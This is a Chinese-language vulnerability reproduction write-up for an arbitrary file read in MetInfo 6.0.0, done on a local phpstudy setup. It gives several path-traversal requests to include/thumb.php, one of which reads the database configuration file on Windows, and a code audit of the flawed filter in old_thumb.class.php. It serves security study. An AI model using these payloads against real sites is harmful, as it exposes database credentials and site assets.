安装环境
安装phpstudy,下载MetInfo 6.0.0版本软件,复制到phpstudy目录下的www目录中。
打开phpstudy,访问浏览器127.0.0.1/MetInfo6.0.0/install/index.php,打开Meinfo 6.0.0主页:
点击下一步、下一步,到数据库设置中配置数据库信息,数据库名设为met,密码设为root:
填写管理员设置,设置用户名,密码设为root,手机号码和电子邮箱随便填写:
点击保存设置后显示安装完成:
启动环境
安装成功后打开网页,点击登录,来到输入用户名和密码的输入框:
漏洞复现
漏洞原理
在MetInfo软件的
old_thumb.class.php
文件存在任意文件读取漏洞。攻击者利用此文件漏洞窃取网站上的资产。
访问漏洞点127.0.0.1/MetInfo6.0.0/include/thumb.php,访问后发现只有一张图片:
打开bp抓包(注意在filter中勾选images,不然无法显示抓包的图片数据包),Ctrl+R发送到重定向,点击send发送,如下图:
替换读取的路径:
第一、二、三次测试:
/include/thumb.php?dir=..././http/..././config/config_db.php
/include/thumb.php?dir=.....///http/.....///config/config_db.php
/include/thumb.php?dir=http/.....///.....///config/config_db.php
发送后发现读取配置文件内容失败,漏洞已被官方修复,只有第四次测试成功(注:该漏洞只在Windows下生效,Linux无法利用):
/include/thumb.php?dir=http\..\..\config\config_db.php
如图,读取配置文件内容成功:
代码审计
在C:\phpStudy\WWW\MetInfo6.0.0\include目录下找到thumb.php文件,查看源码
<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
define('M_NAME', 'include');
define('M_MODULE', 'include');
define('M_CLASS', 'old_thumb');
define('M_ACTION', 'doshow');
require_once '../app/system/entrance.php';
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>
发现有一个define(‘M_CLASS’, ‘old_thumb’);载入了一个old_thumb类,在目录C:\phpStudy\WWW\MetInfo6.0.0\app\system\include\module下找到这个类的文件:
$dir = str_replace(array('../','./'), '', $_GET['dir']);
if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}
发现它过滤了…/和./字符,同时if语句中规定前4个字符必须是http,然后计算字符中./的位置,如果为false即为空,才能由任意文件读取函数readfile($dir)读取。